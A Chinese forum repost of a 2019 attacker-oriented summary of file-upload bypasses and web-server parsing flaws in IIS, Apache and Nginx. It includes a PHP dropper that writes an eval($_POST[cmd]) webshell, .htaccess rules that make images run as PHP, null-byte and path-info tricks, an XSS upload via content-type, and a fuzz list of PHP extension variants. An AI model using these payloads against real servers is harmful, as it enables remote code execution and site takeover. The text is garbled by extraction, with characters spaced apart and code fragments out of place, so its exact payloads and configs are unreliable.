搜索

[18871] 2019-06-14_文件上传总结

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-06-14_文件上传总结 文 件 上 传 总 结 c r h u a   h u a s e c   2 0 1 9 - 0 6 - 1 4 0 1 — 文 件 上 传 校 验 姿 势 客 户 端 j a v a s c r i p t 校 验 （ 一 般 只 校 验 后 缀 名 ） 服 务 端 校 验 文 件 头 c o n t e n t - t y p e 字 段 校 验 （ i m a g e / g i f ）                         通 过 抓 包 ， 将 c o n t e n t - t y p e 字 段 改 为 i m a g e / g i f ， 就 可 以 绕 过 文 件 内 容 头 校 验 （ G I F 8 9 a ） 可 以 通 过 自 己 写 正 则 匹 配 ， 判 断 文 件 头 内 容 是 否 符 合 要 求 ， 这 里 举 几 个 常 见 的 文 件 头 对 应 关 系 ： （ 1 ）   . J P E G ; . J P E ; . J P G ， ” J P G G r a p h i c   F i l e ” （ 2 ）   . g i f ， ” G I F   8 9 A ” （ 3 ）   . z i p ， ” Z i p   C o m p r e s s e d ” （ 4 ）   . d o c ; . x l s ; . x l t ; . p p t ; . a p r ， ” M S   C o m p o u n d   D o c u m e n t   v 1   o r   L o t u s   A p p r o a c h   A P R f i l e ” 。 在 木 马 内 容 基 础 上 再 加 了 一 些 文 件 信 息 绕 过 ， 例 如 ： 后 缀 名 黑 名 单 校 验 后 缀 名 白 名 单 校 验 自 定 义 正 则 校 验 W A F 设 备 校 验 （ 根 据 不 同 的 W A F 产 品 而 定 ） 0 2 — 解 析 漏 洞 1 .   I I S 5 . X   ~   I I S 6 . X 使 用 I I S 5 . x - 6 . x 版 本 的 服 务 器 ， 大 多 为 w i n d o w s   s e r v e r   2 0 0 3 ， 网 站 比 较 古 老 ， 开 发 语 句 一 般 为 a s p ； 该 解 析 漏 洞 也 只 能 解 析 a s p 文 件 ， 而 不 能 解 析 a s p x 文 件 。 ( 1 ) 目 录 解 析 形 如 ： G I F 8 9 a < ? p h p   p h p i n f o ( ) ;   ? > w w w . h u a s e c . c o m / t e s t . a s p / x x . j p g
服 务 器 默 认 会 把 . a s p ， . a s a 目 录 下 的 文 件 都 解 析 成 a s p 文 件 ( 2 ) 文 件 解 析 形 如 ： 服 务 器 默 认 不 解 析 ;   后 边 的 内 容 ， 因 此   x x . a s p ; . j p g   就 被 解 析 成 了 a s p 文 件 ( 3 ) 解 析 文 件 类 型 I I S 6 . 0 默 认 的 可 执 行 文 件 除 了 a s p   还 有 / t e s t . a s a / t e s t . c e r / t e s t . c d x 2 .   A p a c h e   解 析 漏 洞 ( 1 ) 不 可 识 别 后 缀 A p a c h e 解 析 文 件 的 规 则 是 从 右 到 左 开 始 判 断 解 析 , 如 果 后 缀 名 为 不 可 识 别 文 件 解 析 , 就 再 往 左 判 断 。 比 如   t e s t . p h p . o w f . r a r ， " . o w f " 和 " . r a r "   这 两 种 后 缀 是 a p a c h e 不 可 识 别 解 析 , a p a c h e 就 会 把 t e s t . p h p . o w f . r a r 解 析 成 p h p 。 形 如 ： a p a c h e 以 下 版 本 存 在 a p a c h e 2 . 0 . x < = 2 . 0 . 5 9 a p a c h e 2 . 2 . x < = 2 . 2 . 1 7 a p a c h e 2 . 2 . 2 < = 2 . 2 8 ( 2 ) 配 置 问 题 导 致 解 析 漏 洞 在   A p a c h e   的   c o n f   里 有 这 样 一 行 配 置   A d d H a n d l e r   p h p 5 - s c r i p t   . p h p   这 时 只 要 文 件 名 里 包 含 . p h p   即 使 文 件 名 是   t e s t 2 . p h p . j p g   也 会 以   p h p   来 执 行 。 在   A p a c h e   的   c o n f   里 有 这 样 一 行 配 置   A d d T y p e   a p p l i c a t i o n / x - h t t p d - p h p   . j p g   即 使 扩 展 名 是   j p g ， 一 样 能 以   p h p   方 式 执 行 。 ( 3 ) 罕 见 后 缀 A p a c h e 配 置 文 件 中 会 有   . + . p h ( [ 3 4 5 ] ? | t | t m l ) 此 类 的 正 则 表 达 式 ， 被 当 作 p h p 程 序 执 行 的 文 件 名 要 符 合 正 则 表 达 式 ， 否 则 就 算   A p a c h e   把 某 文 件 当   p h p   程 序 ， p h p   自 己 不 认 它 ， 也 是 无 用 。 也 就 是 说 w w w . h u a s e c . c o m / x x . a s p ; . j p g w w w . h u a s e c . c o m / t e s t . p h p . p h p 1 2 3
也 是 可 以 被 解 析 的 ( 4 ) . h t a c c e s s 一 般 来 说 ， 配 置 文 件 的 作 用 范 围 都 是 全 局 的 ， 但   A p a c h e   提 供 了 一 种 很 方 便 的 、 可 作 用 于 当 前 目 录 及 其 子 目 录 的 配 置 文 件 — —   （ 分 布 式 配 置 文 件 ） 要 想 使     文 件 生 效 ， 需 要 两 个 条 件 : 一 是 A p a c h e 的 配 置 文 件 中 写 上 ： A l l o w O v e r r i d e A l l 若 这 样 写 ， 则     不 会 生 效 ： A l l o w O v e r r i d e N o n e 二 是 A p a c h e   要 加 载   m o d _ R e w r i t e   模 块 。 加 载 该 模 块 ， 需 要 在   A p a c h e   的 配 置 文 件 中 写 上 ： L o a d M o d u l e r e w r i t e _ m o d u l e / u s r / l i b / a p a c h e 2 / m o d u l e s / m o d _ r e w r i t e . s o   文 件 可 以 配 置 很 多 事 情 ， 如 是 否 开 启 站 点 的 图 片 缓 存 、 自 定 义 错 误 页 面 、 自 定 义 默 认 文 档 、 设 置   W W W   域 名 重 定 向 、 设 置 网 页 重 定 向 、 设 置 图 片 防 盗 链 和 访 问 权 限 控 制 。 但 我 们 这 里 只 关 心     文 件 的 一 个 作 用 — —   M I M E   类 型 修 改 。 如 在   . h t a c c e s s   文 件 中 写 入 ： 就 成 功 地 使 该     文 件 所 在 目 录 及 其 子 目 录 中 的 后 缀 为   . x x x   的 文 件 被   A p a c h e   当 做   p h p   文 件 另 一 种 写 法 ： p h p 3 ， p h p 4 ， p h p 5 ， p h t ， p h t m l . h t a c c e s s . h t a c c e s s . h t a c c e s s . h t a c c e s s . h t a c c e s s A d d T y p e a p p l i c a t i o n / x - h t t p d - p h p x x x . h t a c c e s s < F i l e s M a t c h " s h e l l . j p g " >   S e t H a n d l e r a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h >
该 语 句 会 让   A p a c h e   把     文 件 当 作   p h p   文 件 来 解 析 。 ( 5 )   C V E - 2 0 1 7 - 1 5 7 1 5 a p a c h e 这 次 解 析 漏 洞 的 根 本 原 因 是   a p a c h e 配 置 文 件 路 径 在 下 ， 是 a p a c h e 核 心 配 置 文 件 ， 由 于 我 本 地 p h p 作 为 a p a c h e 的 m o d 方 式 运 行 的 ， 所 以 需 要 在 目 录 下 找 到 关 于 a p a c h e - p h p 模 块 的 配 置 ： 可 以 看 见 p h p 7 . 0 . c o n f 是 的 软 链 接 ， 配 置 如 下 ： s h e l l . j p g $ / e t c / a p a c h e 2 / a p a c h e 2 . c o n f m o d s - e n a b l e d m o d s - a v a i l a b l e / p h p 7 . 0 . c o n f < F i l e s M a t c h   " . + . p h ( p [ 3 4 5 7 ] ? | t | t m l ) $ " >
    第 一 行 告 诉 了 我 们 a p a c h e 会 将 哪 些 后 缀 的 文 件 当 做 p h p 解 析 ： 以 如 下 方 式 结 尾 的 文 件 会 被 a p a c h e 当 做 p h p 解 析 ： 如 果 我 们 再 结 合 我 们 上 面 提 到 的 关 于 的 使 用 ， 很 容 易 想 到 ， 如 果 后 缀 名 是 上 面 这 些 后 缀 名 以 换 行 符 结 尾 ， 那 么 也 是 可 以 解 析 的 ， 本 地 构 造 文 件 ： < F i l e s M a t c h   " . + . p h ( p [ 3 4 5 7 ] ? | t | t m l ) $ " >         S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p < / F i l e s M a t c h > < F i l e s M a t c h   " . + . p h p s $ " >         S e t H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p - s o u r c e         #   D e n y   a c c e s s   t o   r a w   p h p   s o u r c e s   b y   d e f a u l t         #   T o   r e - e n a b l e   i t ' s   r e c o m m e n d e d   t o   e n a b l e   a c c e s s   t o   t h e   f i l e s         #   o n l y   i n   s p e c i f i c   v i r t u a l   h o s t   o r   d i r e c t o r y         R e q u i r e   a l l   d e n i e d < / F i l e s M a t c h > #   D e n y   a c c e s s   t o   f i l e s   w i t h o u t   f i l e n a m e   ( e . g .   ' . p h p ' ) < F i l e s M a t c h   " ^ . p h ( p [ 3 4 5 7 ] ? | t | t m l | p s ) $ " >         R e q u i r e   a l l   d e n i e d < / F i l e s M a t c h > #   R u n n i n g   P H P   s c r i p t s   i n   u s e r   d i r e c t o r i e s   i s   d i s a b l e d   b y   d e f a u l t # #   T o   r e - e n a b l e   P H P   i n   u s e r   d i r e c t o r i e s   c o m m e n t   t h e   f o l l o w i n g   l i n e s #   ( f r o m   < I f M o d u l e   . . . >   t o   < / I f M o d u l e > . )   D o   N O T   s e t   i t   t o   O n   a s   i t #   p r e v e n t s   . h t a c c e s s   f i l e s   f r o m   d i s a b l i n g   i t . < I f M o d u l e   m o d _ u s e r d i r . c >         < D i r e c t o r y   / h o m e / * / p u b l i c _ h t m l >                 p h p _ a d m i n _ f l a g   e n g i n e   O f f         < / D i r e c t o r y > < / I f M o d u l e > < F i l e s M a t c h   " . + . p h ( p [ 3 4 5 7 ] ? | t | t m l ) $ " > h p p h p 3 p h p 4 p h p 5 p h p 7 p h t p h t m l $
可 以 看 见 是 能 解 析 的 ， 那 么 在 文 件 上 传 黑 名 单 就 可 以 通 过 这 种 思 路 来 绕 过 了 。 3 .   N g i n x   解 析 漏 洞 ( 1 )   p h p - c g i   解 析 漏 洞 N g i n x 默 认 是 以 C G I 的 方 式 支 持 P H P 解 析 的 ， 普 遍 的 做 法 是 在 N g i n x 配 置 文 件 中 通 过 正 则 匹 配 设 置 S C R I P T _ F I L E N A M E 。 当 访 问 w w w . h u a s e c . c o m / p h p i n f o . j p g / 1 . p h p 这 个 U R L 时 ， $ f a s t c g i _ s c r i p t _ n a m e 会 被 设 置 为 “ p h p i n f o . j p g / 1 . p h p ” ， 然 后 构 造 成 S C R I P T _ F I L E N A M E 传 递 给 P H P   C G I ， 但 是 P H P 为 什 么 会 接 受 这 样 的 参 数 ， 并 将 p h p i n f o . j p g 作 为 P H P 文 件 解 析 呢 ? 这 就 要 说 到 f i x _ p a t h i n f o 这 个 选 项 了 。   如 果 开 启 了 这 个 选 项 ， 那 么 就 会 触 发 在 P H P 中 的 如 下 逻 辑 ： P H P 会 认 为 S C R I P T _ F I L E N A M E 是 p h p i n f o . j p g ， 而 1 . p h p 是 P A T H _ I N F O ， 所 以 就 会 将 p h p i n f o . j p g 作 为 P H P 文 件 来 解 析 了 。 形 如 ： w w w . h u a s e c . c o m / U p l o a d F i l e s / I m a g e / 1 . j p g / 1 . p h p
另 一 种 手 法 ： 上 传 一 个 名 字 为 t e s t . j p g ， 以 下 内 容 的 文 件 。 然 后 访 问 t e s t . j p g / . p h p , 在 这 个 目 录 下 就 会 生 成 一 句 话 木 马 s h e l l . p h p 。 ( 2 )   空 字 节 解 析 漏 洞 旧 版 本 （ 0 . 5 . * ， 0 . 6 . ， 0 . 7 ， 0 . 8 < = 0 . 7 . 6 5 < = 0 . 8 . 3 7 ） 。 通 过 利 用 此 漏 洞 ， 攻 击 者 可 以 导 致 服 务 器 使 用   P H P   的   F a s t C G I   作 为   P H P   的 服 务 器 上 执 行 任 何 公 开 访 问 的 文 件 。 恶 意 用 户 发 出 请 求 就 会 将     作 为   P H P   文 件 解 析 。 如 果 一 个 攻 击 者 可 以 控 制 文 件 的 内 容 （ 即 ： 使 用 头 像 上 传 形 式 ） 其 结 果 是 执 行 任 意 代 码 。 N g n i x   在 遇 到   % 0 0   空 字 节 时 与 后 端   F a s t C G I   处 理 不 一 致 ， 导 致 可 以 在 图 片 中 嵌 入   P H P   代 码 然 后 通 过 访 问   t e s t . j p g % 0 0 . p h p   来 执 行 其 中 的 代 码 。 4 .   I I S 7 . 5 解 析 漏 洞 I I S 7 . 5 的 漏 洞 与 n g i n x 的 类 似 ， 都 是 由 于 p h p 配 置 文 件 中 ， 开 启 了 c g i . f i x _ p a t h i n f o ， 而 这 并 不 是 n g i n x 或 者 i i s 7 . 5 本 身 的 漏 洞 。 可 以 配 合 操 作 系 统 文 件 命 名 规 则 ， 上 传 不 符 合   w i n d o w s   文 件 命 名 规 则 的 文 件 名 5 .   % 0 0 截 断 条 件 ： p h p   版 本   <   5 . 3 . 4 形 如 ： f i l e n a m e = t e s t . p h p % 0 0 . t x t 1 、 上 传 时 路 径 可 控 ， 使 用   0 0   截 断 2 、 文 件 下 载 时 ， 0 0   截 断 绕 过 白 名 单 检 查 3 、 文 件 包 含 时 ， 0 0   截 断 后 面 限 制 ( 主 要 是 本 地 包 含 时 ) w w w . h u a s e c . c o m / U p l o a d F i l e s / I m a g e / 1 . j p g / 1 . p h p w w w . h u a s e c . c o m / U p l o a d F i l e s / I m a g e / 1 . j p g % 0 0 . p h p w w w . h u a s e c . c o m / U p l o a d F i l e s / I m a g e / 1 . j p g / % 2 0 0 . p h p < ? P H P   f p u t s ( f o p e n ( ' s h e l l . p h p ' , ' w ' ) , ' < ? p h p   e v a l ( $ _ P O S T [ c m d ] ) ? > ' ) ; ? > h t t p : / / e x a m p l e . c o m / f i l e . e x t ％ 0 0 . p h p f i l e . e x t t e s t . a s p . t e s t . a s p ( 空 格 ) t e s t . p h p : 1 . j p g t e s t . p h p : :   $ D A T A
4 、 其 它 与 文 件 操 作 有 关 的 地 方 都 可 能 使 用   0 0   截 断 。 0 3 — 解 析 漏 洞 1 .   o s s 对 象 存 储 解 析 上 传 了 一 张 正 常 的 图 片 查 看 他 的 上 传 过 程 的 数 据 包 。 得 到 上 传 的 地 址 如 下 图 然 后 到 网 站 目 录 去 访 问 ， 无 论 如 何 也 无 法 访 问 ， 猜 测 用 的 第 三 方 存 储 ( 某 对 象 存 储 ) ， 但 是 一 打 开 就 是 下 载 ， 这 里 上 传 了 错 误 的 图 片 ， 然 后 再 次 打 开 访 问 的 界 面 如 下 ： 知 道 了 是 对 象 存 储 。 对 于 g e t s h e l l 我 也 没 啥 想 法 了 ， 在 B u r p 的 重 放 模 块 f u z z ， 然 后 发 现 可 以 上 传 h t m l 、 s h t m l 等 等 文 件 ， 然 后 c o n t e n t - t y p e 是 可 以 自 定 义 的 ， 返 回 包 会 根 据 你 的 c o n t e n t - t y p e 的 值 给 你 做 出 回 显 。 如 果 c o n t e n t - t y p e 不 修 改 ， 也 就 是 上 传 图 片 的 那 个 m i m e 类 型 i m a g e / j p e g , 他 访 问 会 是 这 样 。 首 先 是 数 据 包 ：
    然 后 访 问 的 界 面 如 下 : 将 c o n t e n t - t y p e 改 为 t e x t / h t m l   让 其 能 够 解 析 h t m l 的 代 码 ， 并 将 其 改 为 x s s 的 代 码 ： 然 后 访 问
0 4 — B y p a s s 1 . 修 改 文 件 头 b y p a s s 2 . 在 数 据 包 的 任 何 位 置 添 加 垃 圾 参 数 3 . f u z z 后 缀 ， 以 p h p 为 例 ， 以 下 是 我 常 用 的 f u z z 字 典 p h t m l p h p p h p 3 p h p 4 p h p 5 i n c     p H t m l p H p p H p 3 p H p 4 p H p 5 p H p % 0 0 p h p % 0 a p h p % 0 d p H p % 2 0 % 2 0 % 2 0 p H p % 2 0 % 2 0 % 2 0 . . . % 2 0 . % 2 0 . . p H p . . . . . . p H p 3 % 0 0 p H p 3 % 2 0 % 2 0 % 2 0 p H p 3 % 2 0 % 2 0 % 2 0 . . . % 2 0 . % 2 0 . . p H p 3 . . . . . . p H p 4 % 0 0 p H p 4 % 2 0 % 2 0 % 2 0 p H p 4 % 2 0 % 2 0 % 2 0 . . . % 2 0 . % 2 0 . . p H p 4 . . . . . . p H p 5 % 0 0 p H p 5 % 2 0 % 2 0 % 2 0 p H p 5 % 2 0 % 2 0 % 2 0 . . . % 2 0 . % 2 0 . . p H p 5 . . . . . .
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理